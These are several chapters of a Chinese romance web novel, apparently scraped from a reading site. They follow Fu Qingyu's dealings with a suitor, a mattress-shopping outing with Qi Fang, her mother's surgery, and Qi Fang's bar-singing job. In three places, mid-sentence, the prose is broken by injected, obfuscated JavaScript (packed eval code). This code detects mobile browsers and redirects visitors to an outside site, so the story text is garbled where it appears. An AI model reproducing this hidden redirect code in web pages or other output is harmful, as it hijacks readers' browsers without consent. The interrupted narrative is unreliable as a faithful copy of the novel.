“确实酷。”许梦没追着要微信,又问祁放,“有没有喜欢的小姑娘?” 祁放回得干脆:“有,追着呢。” 怪不得,许梦一副猜到的表情,转头看向付轻屿,眼神示意:? 付轻屿眼神回她:我不知道,没和我说过。你也没问啊。 心里都揣着人了,没意思,许梦还是玩笑了句,“要不要姐姐告诉你怎么追人?” 祁放抬头看她,又扫了眼赵烈,“不用了。” 许梦眼看自己这边没戏了,开始专心助攻赵烈。 “赵烈,你下个礼拜休班,有没有什么安排?”许梦给他递话。 赵烈也是一秒接收,笑着摇头,“还没呢,一个人也没啥好玩的。”他抬眼看向对面,“轻屿,你这两周休班,有什么安排吗?我参考参考。” 付轻屿咽下嘴里的东西,先是装傻充愣地说:“啊?我吗?”随后又漫不经心地说,“我也没想好去哪玩呢,主要是想陪陪男朋友,我俩平常工作都忙,又异地,好不容易清闲了,先去找他。” 话音落下,其余三人都沉默了,一脸不可置信地看着她。 许梦先出声:“什么时候谈的男朋友,也不和我们讲讲,是哪个混蛋把我们一枝花给撬走了。” 赵烈表情有些僵硬,还是附和着许梦说:“是啊,也没听你讲过,做什么的?” 草稿是付轻屿嘴里现打的,“是个医生,我们老家那边的。之前长辈搭的线,聊着挺投缘,自然而然就处在一起了。” 先不说没谈,就算谈了,她也没打算昭告天下,本来就是两个人的事。 许梦要看照片,被付轻屿拒绝了,“就是个普通人,他不爱拍照片,我也不爱拍,手机里没有。你要想看,等这次回去,我俩一起拍个照片,专门发给你。” 许梦‘咦’了声,“谁要看你撒狗粮,家长介绍的,看来好事将近了。” “说什么啊,还远着呢,行了不说我了。”付轻屿将话题扯开。她趁乱瞄了眼赵烈的反应,八成是死心了。 祁放夹着鱼呆愣半天,脑子一涨一涨。付轻屿的话像是夹杂了十八国语言的乱序符号,他费力反应半天,才接收完全。 颜泠不是说付轻屿没对象吗? ……不该轻信酒鬼的话。 祁放喉咙里像卡了根刺似的,想问问不出,想咽咽不下。他跟着付轻屿回到车上,才稍微回过神,都不知道饭局怎么散场的。 解决掉一个麻烦事,付轻屿心情还不错,将头发拢在脑后,扎了个低马尾。 祁放面对车窗愣神,整个身子都往自己这边侧了侧,做出要跟付轻屿划清界限的气势。又忍不住通过手里黑掉的手机屏幕看她。 付轻屿看他情绪不高,“吃的不舒服了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“见过,”祁放心情瞬间阴转晴,“你算什么大人?” 付轻屿听他说话欠打,也跟着欠起来,“小屁孩,不会说话,给你踹下车。” “我不走。”祁放抓住安全带,追问,“你不喜欢赵烈那一款的?” “赵烈挺好的,但我值得更好的。”付轻屿搜索家具店,开启导航,漫不经心地说,“知道姐姐为什么单身吗?” 祁放魂都被钓走了,只会跟着问:“为什么?” “秘密。”付轻屿故意逗他,“小孩子不要知道太多,不好。” 祁放像个尝到甜头的小孩,变着花样问她为什么单身? 知道付轻屿没男朋友,他算是松一口气。又开始担心她没放下前男友,还有心仪对象了? 付轻屿见他一脸八卦样,反问:“你要再问,我也开始八卦了。讲讲你追的小姑娘,姐姐帮你出谋划策。” 祁放讨价还价,“你说我就说。” 付轻屿想了下,“圈子太小。” 祁放:“啊?你圈子还小啊?” 付轻屿无奈笑了下,此圈子非彼圈子啊。“还问?该让我听故事了。” 祁放:“现在不跟你说。” “哎?你个小屁孩!” “我二十了。” “大屁孩!” “……” 7. 07 付轻屿对床比较挑剔,之前签租时间短,加上买车后手里资金少,一直没舍得买个好床垫。 这次租房签了两年,手头还算富裕,早买早享受。 她提前在网上做过功课,选了几款性价比还不错的,想着线下试一下。 车子停下后,祁放看了眼一旁的家具城,“缺什么家具?” “床垫。”说出这两个字,付轻屿一顿,好像不该带祁放来。再怎么说也是个男生,陪她看床垫算怎么个事? 方才没反应过来,早知道先给他送回去了。 祁放见她愣住,出声催促:“走呀,想什么了?” 付轻屿应了声,快速收拾好东西下车,心说来都来了,就这样吧。 祁放对没接触过的事,都会拿出百分百好奇心,面对销售人员热情讲解,简直像是来听课的。 付轻屿一时疑惑,到底是她要买床垫,还是祁放要买。 销售员小姐姐笑着问:“两位需要什么功能的?对材质方面有什么要求,都可以跟我说,这边根据您需要推荐几款。” 祁放看向付轻屿,“要什么样式的?” 销售员小姐姐一眼领会到,笑着说:“依着女朋友选,两位是要装修新房吗?买的多,咱这边优惠力度也比较大。” 祁放看着付轻屿,没接话,心里称赞销售员的眼光。 付轻屿只是淡淡笑了下,“不是,这是我弟。” 销售员也是立即改变话术,“原来是姐弟啊,也就差个一两岁吧,你要不说,还真没看出来。我还以为你比他小呢。是要买给谁用呢?” 祁放爱听,不自觉挺起腰板,想要尽力表现出成熟可靠的大人模样。 这彩虹屁,付轻屿没往心里去,将自己提前选好的产品名报给销售员。 销售员挨个给两人介绍,付轻屿想试躺一下,拿开包放在桌上。 祁放半路接过去,“我拿着吧。” 付轻屿道了声谢,躺在床垫上试了下。 人和人的体验感受还是挺不一样的,付轻屿感受着床垫,回想着网友分享的使用感受,有些不搭边。 试到最后一个,也是她当初最不看好的,竟出奇得舒服,跟她最合适。 付轻屿没忍住说了句,“这个蛮不错的。” 祁放原本拿着包蹲在付轻屿身边,听她说完,也来了精神,起身转到另一边,“我也试一下。” 床垫是两米乘两米二的,付轻屿和祁放躺的靠边,中间还能塞下两人。 祁放感受片刻,可能他这个人比较糙,除了有点软,别的啥也没体会到。 祁放转头看向她,“你觉得舒服吗?我好像体验不出好坏,比家里的软。” “挺舒服的。”付轻屿说说着,也朝他看过去。 四目相对,愣住几秒。 床垫像个怪物,舒服得有些过分,付轻屿的满身疲惫被它吞噬,看着那双炽热的眼睛,她竟想落泪。 她绝对没有什么爱哭的怪癖,甚至相反,她是个连哭都能控制下的人。 付轻屿率先收回视线,神情淡然,起身去找销售员,仿佛体内的情绪是另一个人的。“要最后试的一款,尺寸2×2.2。” 祁放揉着耳朵坐起身,意识到自己无意间越界了,好像越得有些过分。 床垫送货上门,付轻屿付款后,两人一前一后走着。方才一躺,给气氛躺尴尬了。 付轻屿情绪调整得快,转头问他,“喝不喝奶茶?” 祁放连忙点头,“喝。” 付轻屿半开玩笑说:“请你,还是你请我?” “我请你。”祁放见她没不开心,抬腿跟到人身旁,“你跟许梦说下午有事,是买床垫吗?” 付轻屿摇头,“那是托词。” “嗷,”祁放嘴上就一声,尾巴早就翘天上去了,“买完奶茶,我们再把上午剩下的一点东西都搬过去。你喜欢喝什么?” 付轻屿随便说了个名。祁放点完单,又开始闲聊。 听他东扯西扯,天高地阔,鸡毛蒜皮,仿佛话是说不完的,就是没有工作上的事。 付轻屿突然明白过来,为什么跟祁放相处会很轻松,甚至总让她有种放松过头的感觉。 祁放跟她唯一的连接纽带就是颜泠——她最信得过的人。祁放跟她的圈子完全独立开的,不用考虑各种利害关系,不用衡量他的价值,也不用被衡量,想说什么就能说什么。 付轻屿看着祁放,听他说话,“你和颜泠还挺像的。” “我和她像?!”祁放错愕,连刚才在说什么都忘了,“我两个差很大好吧。我姐是不是没跟你炸过毛?我们性格什么的,真的很不一样啊,截然相反。” 祁放就此举了八百个例子,证明他和颜泠截然相反,将颜泠老底都揭了。 —— 付轻屿将旧房子的东西搬空,交了钥匙,带着祁放回了新租的房子。 祁放说自己没事,要跟着一起收拾,付轻屿也就没拒绝。 “对了,”付轻屿拿出翻出一个钥匙递给祁放,“这里的钥匙,我晚上要回老家,你帮我给颜泠吧。” 祁放一听‘老家’两字,有些应激,“你回老家干什么啊?” 付轻屿语气平淡:“我妈要做个小手术,回去看看她。” 祁放嘴巴微微张着,半天才说出话,“小手术,应该不严重吧,你处理的过来吗?” “能行,放心吧。”付轻屿不想继续这个话题,“你帮我一下,把沙发推到另一边。” 祁放识趣地住嘴,开始干活。 忙活了一下午,客厅厨房都布置好,两人坐在地上稍微休息了会。 祁放跟着收拾了一天,按说该请个晚饭。付轻屿晚上要赶车,时间排不开,先欠着了。 手机震了下,祁放顺手捞起来,一条微信消息,冯适发的。他意识到拿错了手机,连忙递给付轻屿。 冯适:两周后,新剧宣传,会上你们节目。 冯适:想着提前跟你说一声。 付轻屿:嗯。 冯适:听他们说,你这两周停工了。 付轻屿:听谁说的? 冯适:忘了,应该是剧组同事。 冯适:还好吗? 付轻屿:挺好的。 冯适:你平常给自己工作排得太满,就当好好休息一下吧。 付轻屿没回,那边也没再发消息。 祁放余光瞧见了。怎么还有联系? 付轻屿收起手机,“我该收拾东西走了。” 祁放站起身,“那我也回去了。” “嗯,记得把钥匙给你姐。” “好,”祁放走到门口,转头问,“等你回来,我还能找你玩吗?” 付轻屿客气了句,“当然。” 祁放嗯了声,飞快跑出门。 付轻屿简单收拾好几件衣服,带了点洗漱用品,打车去车站。 不记得多久没回去了,付轻屿的记忆停留在上个春节,还是上上个春节,印象很模糊。 哪怕春节回去,她也待不了一周。 往回倒数,大二那年暑假被‘付医生’叫回去,也是因为‘刘老师’住院,至今记忆犹新。 倒不是病情严重得吓人,而是‘刘老师’还想着让她退学复读,最后又闹得不欢而散。 付轻屿高考复读过一年,选了播音专业,学校也是这个领域数一数二的,可惜是艺术生,‘刘老师’不满意。从小到大,她还没有什么事能让‘刘老师’满意。 高考成了那个家里过不去的坎,自此之后,付轻屿也跟父母断了联系。 大学四年的所有费用都是付轻屿自己赚的,模特的工作从大一就开始了。后来关系稍微缓和后,‘付医生’也给过生活费,她都没收。 关系缓和,也只是表面的,就像车窗外的天空,阴沉中透出几缕阳光,看样子快要下雨了。 付轻屿静静看了会,收回视线。 五六年过去了,自己女儿学习不够优秀的事实,‘刘老师’好像还是接受不了。 回到泉州,天空中飘着毛毛细雨,潮湿闷热,让人莫名烦闷。 付轻屿先打车去了医院,按照‘付医生’给的病房号,顺利摸过去。 隔着门上的小玻璃,付轻屿远远看了会,病房里有两个人,‘刘老师’正在和一旁的阿姨交谈,心情还不错的样子。 ‘刘老师’算是个健谈的人,只是不喜欢跟她交谈。 付轻屿转身下楼,没想去打扰她清净,走到一楼时,问了下前台护士,“麻烦问一下,付建林医生今晚值班吗?我是她女儿,方才打了电话,没人接。” 护士抬头看她一眼,表情半信半疑,“付医生有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966538|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台手术,你有事的话,在那边坐着等会吧。” “谢谢,”付轻屿道了谢,转身回家,打算睡一觉,明天再迎战。 —— 颜泠回到家,开门时看了眼手机,23点多。客厅关着灯,黑漆漆一片,只有西北角那间的门缝下透出亮光。 祁放肯定又在画画,颜泠顺手打开灯,客厅茶几上摆了不少水果,一看就是许妈叮嘱的,祁放摆得乱七八糟,带着他独有的‘艺术’气息。 颜泠意思着敲了两下门,没回声。她推开一小条缝,看见书桌前的背影,一把推开门。 祁放戴着耳机,沉浸在画里,完全没意识到地盘已被人入侵。 颜泠扫了眼桌上的秒表,七个多小时了。她一手勾住耳机,从祁放头上拽了下来。 “多长时间了还不休息?眼不要了?” “姐,请把耳机放到我的脑袋上,不要打扰我创作。” 两句话音重叠在一起,祁放丝毫没有起身的意思。 颜泠叹了口气,装模做样地拿出手机,对准祁放,“我的话不听,没办法了,只能发给许妈看看咯。” 祁放立即放下笔,抢过颜泠手机,透过黑屏看到一张帅脸,“姐,你幼不幼稚!还拿我妈出来吓人。” 他说着,将计时器关了。 颜泠拍他一巴掌,“出去吃夜宵。” 祁放将桌面归置好,按了按眼眶,“这都快十二点了,你再饿几个时辰,跟明天早饭一起算了。” 颜泠自动忽略他这句话,“快点收拾,我去卸个妆。” 祁放:“我没说去。” 颜泠:“再给你五分钟。” 祁放:“……知道了。” 这个点开门的店铺不多,两人最后选了家火锅。 见颜泠点的辣锅底,祁放说:“明天不过了?你点辣锅,吃完水肿。” “往后好几天都没安排,就让你姐放纵一下吧。”颜泠将平板递给祁放,“看看还想吃啥,自己加。” 祁放不太了解她的工作性质,“之后的工作没对接好吗?还是让你休息几天。” 颜泠说:“从现在开始,你姐处于待业状态,懂?” 祁放看她一眼,将平板递给服务员,“就这些。” 颜泠冲他伸手示意。 祁放低头看向桌面,除去一套餐具,什么都没有,“啥?” 颜泠啧了声,“钥匙,轻屿不是让你把钥匙给我吗?” 祁放有些不情愿地掏出来,递给了她。 颜泠看他,“你这两天没惹人烦吧?” 祁放不愿听这话,“想什么呢,我又不是你。” “最好是。”颜泠拿着手机没了后话。 祁放没事干,就把大绿豆的漫画翻了出来,重温一遍。 锅底上好,颜泠叫他一起调蘸料,又去拿了些水果,回来时,无意间瞟见他手机上的漫画,“你怎么翻到这个的?” “你看过?”祁放犹豫地指了下手机,顺手拿走一角西瓜。 “我当然看过,轻屿画的时候,我还来了两笔呢。”颜泠坐下,“好多年了,你怎么翻出来的?” 祁放手里的西瓜在桌上摔了个稀碎,“你说这是谁画的?” “轻屿啊,”颜泠见他一脸难以置信的表情,伸手拿过他面前的手机,仔细看了眼,“没错啊,她高三那年画的。” 祁放脑袋炸了,像桌上摔碎的西瓜。 “西瓜不是很甜。”付轻屿没吃晚饭,在小区旁的水果摊买了半块西瓜,卖相十分诱人,口味稍微差了些。 付轻屿抱着西瓜,将几个房间转了遍,一点都没变样。她的房间也是,挺干净的,看来‘刘老师’定期会打扫一下。 ……还以为会把她的东西都扔了。 手机震了下,付轻屿也回过神。 祁放:我超喜欢你啊! 付轻屿手里的西瓜没拿出,摔了个稀碎,手机又震了下。 祁放:大绿豆老师!!! 祁放:激动.jpg 付轻屿:颜泠跟你说的? 祁放:嗯嗯嗯。阿姨的情况还好吧。 付轻屿:没什么大事。 祁放:嗯嗯好,时间挺晚的了,早点休息哟。 付轻屿蹲下身,半个西瓜摔得四分五裂,“算了,还有能吃的地方。” 8. 08 付轻屿起得早,想着去医院给‘刘老师’送早饭,要出门时跟‘付医生’正面撞见。 她嘴皮动了动,嗓子堵得难受,最后放弃出声,仅仅对视了一眼。 付建林下夜班,刚回来,坐在玄关换鞋,“什么时候回来的?” 付轻屿轻声回:“昨晚。” 付建林问:“去医院看过了吗?” “看过了,没打招呼。” 付建林没再看她,擦身走过去,“我休息一会,中午去医院,你先过去吧。你妈吃过饭了,你自己外面吃点,早上别空着肚子,不好。” “嗯。”付轻屿轻声应下,随后是轻轻的关门声,客厅再次陷入寂静。 付轻屿和付建林的关系一直都是这样,没有太多交流,不远不亲。 哪怕和‘刘老师’争吵时,他仿佛也能隐身,直到争吵到达尾声,才会出现在‘刘老师’身后,不咸不淡地劝说两句。 付轻屿在楼下快餐店简单对一口,‘刘老师’手术前八小时禁食,她也没什么好带的,就空手去了。 刘云岚见她第一眼,表情有些惊讶,应是没想到她回来,再看已经拉下脸,“什么时候回来的?” “昨晚。”付轻屿在她身边坐下,两人隔了一米远,半天没说话。 付轻屿看桌上水杯空了,“刘老师喝水吗?” 刘云岚语气生硬,“禁食。” 旁边病床的阿姨看着两人,笑着问刘云岚:“这是你学生?” 付轻屿没化妆,皮肤很好,款式简单的短体恤加条牛仔路裤,看着跟十七八一样。 阿姨昨天跟刘云岚聊天,知道她是高中老师,刚才听两人对话,以为是学生过来探望。 奇怪的是,她问后,两人竟都没开口回答。 阿姨以为两人默认了,又看向付轻屿,笑着闲聊:“念高几了?” 刘云岚先开了口,声音不大,轻飘飘的,像是怕人听清,“这是我女儿。” 阿姨笑了笑,“原来是我搞错了,怪不得你们都没说话。” 付轻屿接下刚才的话,笑着说:“我已经工作了。” 一提到工作,又是个绕不开的话题。 阿姨吃惊地问她:“已经大学毕业了?” 付轻屿笑着点了点头。 “做什么工作的?” 付轻屿挑了个‘刘老师’稍微能接受的职业,“主持人,自己还在做服装设计。” 阿姨眼睛都亮了,“电视上的那种主持人。” 付轻屿稍微解释了下,“嗯,娱乐频道的主持人,和您们在新闻上看的不太一样。” 阿姨尽力想了下,理解过来,“是综艺节目的主持人吧,哎吆,那也很厉害啊,上电视呢。” 付轻屿笑着说:“阿姨过奖了,说的我都不好意思了。” 阿姨转头看向刘云岚,真心夸赞:“孩子都厉害咧,上电视工作。长得又高又俊,跟个女明星似的。” 刘云岚笑得难看,“她哪有什么厉害的,就是个供人玩笑的职业。” 阿姨听愣住,实在不知道回啥,尴尬地笑了笑。 付轻屿面色如常,听惯了。 刘云岚看向付轻屿,“你爸跟你说的?” 付轻屿点点头。 毕竟有个外人在,刘云岚给自己留了点面子,没再说什么。付轻屿也没话说,两人之间除了争吵,剩下的就是沉默。 阿姨看出这对母女关系僵,便没再提相关的话题。 住院带的东西,付轻屿全都检查了遍,挺齐全的。闲着没事,她看了几个秀场。 快到中午时,付建林过来陪着,付轻屿出医院透口气,随便吃了点东西。 祁放:阿姨做完手术了吗? 付轻屿点进弹出来的消息:还没,下午三点半做。 祁放:吃午饭了吗?昨晚我姐非要去吃夜宵,今天起晚了,现在饿死了。 付轻屿:吃了。颜泠起了吗? 祁放:没有哎,我刚才去叫了她一下,被隔着门骂了一顿。 祁放:气哭了.jpg 付轻屿不由笑了下,回他:等饿了,她自己会爬起来。别叫她了,让她好好休息一下。 祁放:你只关心颜泠,哼。 祁放:我下午要去买东西,等你回来有惊喜,哼。 付轻屿一头雾水:?别乱花钱,我不缺东西。 祁放:不是乱花钱。不听,哼。 祁放反复扒拉着聊天记录,一直没等到回复,蹲在地上挠了挠头,一不留意发了三个‘哼’,有点太烦人了。 颜泠一身起床气,倚着门框看他,“歪,头发痒就去洗,不要在家里养虱子。” 祁放也没好气地回过去,“昨晚刚洗的头,不痒,谢谢。” 颜泠扫了眼他手机屏幕,隔得太远,看不清发的啥,但能看出对面没回他。 再搭配上祁放这个抓耳挠腮的样子。 颜泠一目了然,“吆,小姑娘不愿搭理你啊,拿来拿来,老姐给你看看。” 祁放关掉手机揣兜里,“没有,不用。” 颜泠发现了新鲜事,起床气消了,也不嫌祁放烦了,追着人问:“哪的小姑娘?有照片吗?给你姐看看?” 祁放没说话,转身拿了瓶果汁递过去,还是没能堵住颜泠的嘴,“怎么认识的?以前的同学,还是网上认识的?你整天捣鼓你那画,居然还有闲情想谈恋爱?谈了还是没谈,追着呢,还是闹别扭了?快跟你姐讲讲,我给你分析分析。” 祁放一脸无奈地看着她,“你有这么好心,想笑话我直说。跟你说,当我傻?” “哎?”颜泠哪能承认,开始倒打一耙,“小祁放啊,我真没想到啊,你个小没良心,你就这么想你姐是吧?好心当场驴肝肺。” 祁放认真地看着她:“姐,我始终觉得,你这演技不拿个奖,真是他们眼瞎了。” “哎?!你个臭小子。” 祁放没空跟她闹,转身去洗漱收拾,“我一会去买东西,晚上跟朋友出去。” 颜泠实在不死心,“说真的,姐给你分析分析,有照片没,哪的姑娘?” 祁放选择沉默作为回答。 “不说算了,以后千万不要哭着求我帮你。”颜泠见他还是没回声,撇嘴笑了笑,不问了,“卡里给你打了点钱,别出去要饭,让人家小姑娘跟你喝西北风。” 祁放终于从房间窜出来了,“我不要,我有钱。” 颜泠转身往房间走,“不听,不听,不听。收款功能已关闭。” 祁放:“……那我先给你存着。” 颜泠突然转头看他,“对了,我今天晚上不回来,别给我打电话,烦人。” 祁放问:“你不是没工作了吗?干什么去?” “还有,别跟许妈说。”颜泠耸耸肩,“干点大人该干的事情去咯。” “神经,”祁放皱着眉头,忍了半天没忍住,“你好好谈个恋爱,别出去找那些,不干净。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966539|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “无所谓了,我又不会有事的。”颜泠不想跟他说太多,“小屁孩少管些没用的,跟你想的不是一回事。” 颜泠这么说了,祁放也没再多问,收拾好东西出门。 付轻屿旧房子里的地毯丢了,还有几盆小绿植,都送给邻居了。趁上次搬家,祁放观察了她的装扮喜好。 他想着买来新的,当乔迁礼,放到付轻屿家里,让她随时都能想起自己。 兜兜逛逛一下午,才选好地毯。祁放不太懂花草,找了两盆付轻屿养过的。 闲逛餐具时,还选到个很特别的盘子,像不同盘子敲碎重新拼接而成。 感觉付轻屿会喜欢,祁放一并买下了。 祁放买东西时,跟杨灿有一搭没一搭地闲聊。准备打道回府,他把自己准备的乔迁礼拍给杨灿看了下,可把这小子笑坏了。 杨灿:谁追姑娘送地毯子啊,笑死你爹我了。 杨灿:还整了两盆花,不知道还以为你回校探望班主任呢,哈哈哈哈你个傻屌,笑得我上不来气。 祁放没好气地回他:上不来气就憋死。你懂什么? 杨灿:我懂浪漫。 祁放:…… 祁放:还浪漫?你就剩浪了。我这叫智慧,懂个屁。 杨灿:不是,我说真的,你这样追不到女孩子的。送地毯,啧~行啊,放哥,看不出来啊,这么会过日子呢,遇到个好姑娘就嫁了吧,跟她说,这年头追人送地毯子的,可是稀有物。 祁放真不想搭理他了:晚上我跟昊飞出去玩,对了,我俩一起找了个兼职,我驻唱,他打鼓。 杨灿秒炸,一串问候语音。 祁放不听,也不管他,手机往兜里一揣,回家。 杨灿和祁放是发小,两人差一级。陈昊飞和祁放同级,走的文化课,也在江城,该上大二了,他跟两人是初中才玩到一起的,三人关系一直很好。 祁放复考那年,可把杨灿美坏了。他本来打算看祁放和陈昊飞去大学自由翱翔,自己苦一年。没想到祁放讲义气,跟他又来苦了一年。 祁放最知道怎么治杨灿贱兮兮的样儿。这不,一听两人没带他,直接炸了。 祁放换了身衣服,深灰色无袖,黑色运动裤,耳朵上带了个银环,小狼尾。 挺不起眼的一身衣服,穿到他身上就莫名吸睛。 陈昊飞跟他一见面就给出了最中肯的评价,“工作穿这么骚包?” “上台了,可不得穿帅点。”祁放说,“你一会给我拍两张照片,拍帅一点。” 陈昊飞笑他,“拍照片干啥?发给你追的那姑娘?” 祁放是个瞒不住事的人,还有杨灿这个大喇叭在,陈昊飞想不知道都难。 “那肯定啊,不然我穿这么骚包干啥?”祁放厚颜无耻地说,“记得拍帅点,我好勾.引她。” 陈昊飞笑他:“什么样的姑娘?啥时候带我们见见?” 祁放说:“等追到就带给你们看。” 陈昊飞玩笑地说:“害怕我们抢人啊。” 祁放点头,“害怕。” 陈昊飞看他,“哎,就你这脑子的,不知道啥时候次才能看到啊。” 祁放说害怕是真的。 陈昊飞,挺威武一名字,脸长得呆萌,两大眼忽闪忽闪的,绝对能用清秀漂亮夸他,带顶假发真跟个姑娘一样。 冯适就是这款长相。 祁放害怕付轻屿就喜欢这款的,没追到之前,不给看。 9. 09 付轻屿抬头看了眼病床,‘刘老师’已经休息了,手术很顺利。她没吃晚饭,起身拿了个香蕉垫肚子,‘付医生’中午带的。 一下午折腾够呛,付轻屿没心思干别的事,放空片刻后,随便点开朋友圈翻了翻,看到一张熟悉又陌生的脸。 图片中,祁放半侧身子,慵懒坐在沙发上,手臂肌肉线条很好看,不刻意,眼神给得不多,带着侵略意味。 付轻屿脑子中浮现出几个字,小狼还是有些稚嫩。 这个角度和构图,不是一个人能拍出来的。付轻屿眉毛轻挑了下,不是说在江城没朋友吗? 她扫了眼文案,‘看到,要夸’。 付轻屿当做没看到,继续往下刷。 —— 酒馆不小,昏黄的灯光,整个氛围十分慵懒,每个桌前都聚着几个好友喝酒谈笑。 来这里的多是年轻人,老板刚到三十,为人随性,歌曲随便祁放挑的,只要不过于跳脱就行,没太多要求。 祁放和陈昊飞都放得开,不光会唱,长得也出挑,来这第一天,氛围带着很好。 一天三个小时,老板管酒喝。两人下班后,留下喝了几杯。 祁放抱着手机,来回刷新朋友圈,小声嘀咕:“怎么没有评论,点赞也没有,难道还没看到?” 陈昊飞一边问他,一边拿起手机点进朋友圈,“啥啊,你发啥了?” 祁放说:“就你给我拍的照片。” 陈昊飞也来回刷了几遍朋友圈,“我这咋没显示?” 祁放漫不经心地说:“我选的仅她可见。” 陈昊飞:“……” 一个破照片,跟谁稀罕看似的。 陈昊飞转念一想,“你发的什么文案?我看看发了什么骚话,还仅她一人可见。” “没什么。”祁放听他一说,立即收起手机,不看了。 陈昊飞切了声,调侃几句,没当回事。 快凌晨两人各回各家,祁放在出租车上给付轻屿发了条消息:睡了吗?还在照顾阿姨吗? 他下午发过消息,知道手术完成得很顺利。付轻屿当时匆匆回了两句,说完‘先去忙’后,就再没搭理他。 祁放盯着手机,半天都没动静。这个点,应该睡了。 下一秒,手机屏幕还真弹出两字,“睡了。” 祁放:睡了还能发消息吗。 祁放:我还在出租车上,刚回家。 付轻屿:嗯,注意安全。 祁放撇嘴,打了句‘好冷漠的女人’,随后又删了,重新输入:太晚了,照顾病人也要注意休息呀。 付轻屿:嗯。 祁放嘴撇出二里地,前两天明明相处得很好,换到线上,变得好冷漠。 付轻屿:怎么才回家? 祁放撇出去的嘴角往上扬:担心我吗?找了个兼职,刚下班,车上有点黑,害怕。 付轻屿:不担心。 祁放实在没忍住:看我发的朋友圈了吗? 付轻屿:看了。 祁放扬起的嘴角重新撇回去:嗷好吧。 ‘刘老师’醒了,付轻屿利落起身,用棉签沾水,给她涂在嘴唇上,又问:“有难受的地方吗?” ‘刘老师’闭上眼没说话,付轻屿知道她的意思——没有。两人虽然没什么交流,有些时候却出奇的默契。 付轻屿盯着病床上的人,静静呆了会,再打开手机,页面还停留在和祁放的聊天记录上。 祁放没再发消息。 付轻屿看着最后一条消息,又想起他朋友圈的文案‘看到,要夸’。只有小孩才会发这种文案吧。 付轻屿就算疯了,也发不出这种文案,光是想想,脚趾都能扣除三室一厅。 ……除非主持节目做游戏输了。 付轻屿敲下几个字发出去:照片看了,挺不错的。 祁放立即回了个开心的表情:我到家了。你还不能休息吗? 付轻屿:这就休息了。 祁放:那晚安。 付轻屿:晚安。 ‘晚安’两个字对付轻屿来说没什么特别含义,就像‘你好’和‘再见’一样,是个客套话。 祁放一个没谈过恋爱的,可美坏了,反复欣赏这两字。洗漱看,喝水看,画画前看,睡觉前也要再看一眼,恨不得供起来。 医院的陪护床,付轻屿睡不习惯,时不时看看‘刘老师’的情况,一晚上翻来覆去,基本没合眼。 第二天请了个护工,尿管拔了,‘刘老师’需要尝试下床走动,护工照顾人会更专业。 有护工在,付轻屿也没走,直到‘付医生’过来,她才回家休息。醒后,快餐店简单对付一口,又赶回医院。 一连四五天,基本都是这个状态。‘刘老师’这次动完手术,嘴皮子收敛了一点,没怎么说话,母女两人保持着一种奇妙的沉默关系。 付轻屿过得浑浑噩噩,感觉这几天的事情都是虚飘飘的。 脑子像台胶片相机,画面对不上焦。祁放每天发的几条消息,穿插在虚焦画面中,是唯一照到的实点。 ‘刘老师’住了一周院,出院那天,付轻屿就收拾东西回江城了。 ‘刘老师’出院后,有二姨照顾,她再不走,这段微妙的沉默关系即将变成一场大战。 况且还有一档音乐节目要主持,付轻屿也耽搁不得。 回江城的路上,付轻屿卸了一身劲,实在累得不行,在车上睡了觉,竟睡得挺香。 补了一觉,出车站后,又恢复一身干劲,付轻屿打车回家,路上随便刷了刷视频。 刷到一个熟人。 视频里,祁放一身黑,脖子上和腿上搭配了金属链,拿着话筒,唱的是首旋律欢快的小情歌。 少年的嗓音跟夏季绝配,唱小情歌很好听,酷帅的外表又形成了反差,确实吸睛。 这首歌挺火的,昨天晚上发的视频,付轻屿看着几十万的点赞量,估计还能长,人也火了。 视频下带了个‘小酌酒馆’的标签,付轻屿知道这个酒馆,去年开业的时候,她和颜泠还去过,氛围很不错。 付轻屿鬼使神差地点进标签,最热的一条视频还是祁放。 祁放穿衣没有固定风格,这条视频一改酷拽形象,白衬衫牛仔裤,青春气息都快溢出屏幕了,没唱歌,拉了首小提琴。 这首曲子,付轻屿记得,是一部早期动漫的主题曲,挺感人的。 酒馆标签下,除了宣传视频,还有些酒友自发性的推荐。 祁放这几条视频,就属于酒友推荐,感觉不像在推荐酒馆,更像在推荐人,评论区还有些祁放的照片,都是他拍帅照。 付轻屿不禁感慨这些酒友的拍照技术,合理怀疑混进几个摄影师。 有几张祁放跟鼓手喝酒的照片,状态很放松,付轻屿能断定,两人是朋友。 这就是祁放说的不会唱歌?不懂音乐?不能喝酒?在江城没朋友? 家长眼里的乖小孩,出门后,变身十八般武艺精通的小狼崽。付轻屿退出视频,还有点不适应。 “祁放,走不走?”陈昊飞站在后门口,看他在酒馆前排一圈圈打转,“你找什么东西呢?” “手机,忘记放哪了。”祁放拍拍脑袋,“应该就放这个桌子上了。” 陈昊飞给他手机打了个电话,没听见响声,“不会是让人偷了吧?” “想充电来,忘了。”祁放窜到吧台后,手机已经关机了,“带充电宝了吗?” “没带。”陈昊飞不知道是酒劲上来了,还是真困了,上下眼皮来回打架,“回家充吧,别墨迹,困死了。” 祁放利落收拾好东西,小声喃喃了句,“我还想看消息呢。” 